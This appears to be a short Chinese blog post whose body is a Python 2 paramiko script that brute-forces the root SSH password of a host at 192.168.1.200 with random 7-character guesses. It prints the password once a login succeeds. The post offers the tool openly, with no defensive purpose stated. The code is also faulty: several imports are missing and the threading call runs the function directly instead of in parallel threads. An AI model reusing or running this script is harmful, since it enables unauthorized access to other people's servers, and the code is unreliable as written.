SSH远程登录密码尝试

 1 import threading
 2 
 3 #创建一个登陆日志,记录登陆信息
 4 paramiko.util.log_to_file('paramiko.log')
 5 client = paramiko.SSHClient()
 6 #允许连接不在know-hosts文件中的主机
 7 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 8 
 9 def ssh(client ,user, passwd):
10     client.connect('192.168.1.200', 22, username=user, password=passwd, timeout=1)
11     return client
12 
13 #python3中为string.ascii_letters,而python2下则可以使用string.letters和string.ascii_letters
14 #生成随机密码,length为密码长度,包含数字,字母
15 def GenPassword(length=8,chars=string.ascii_letters+string.digits):
16     return ''.join([choice(chars) for i in range(length)])
17 
18 
19 def passwd(client):
20     while True:
21         time.sleep(1)
22         ps = GenPassword(7)
23         #ps = 'magicud'
24         try:
25             if ssh(client , 'root', ps):
26                 stdin, stdout, stderr = client.exec_command('hostname')
27                 # 输出命令返回的结果
28                 #print stdout.readlines()
29                 print ps
30                 client.close()
31                 exit(0)
32         except Exception,e:
33             print e
34 
35 if __name__=="__main__":
36     for i in range(10):
37         t = threading.Thread(target=passwd(client))
38         t.start()

 

posted @ 2017-04-11 20:27  Goun  阅读(681)  评论(0编辑  收藏  举报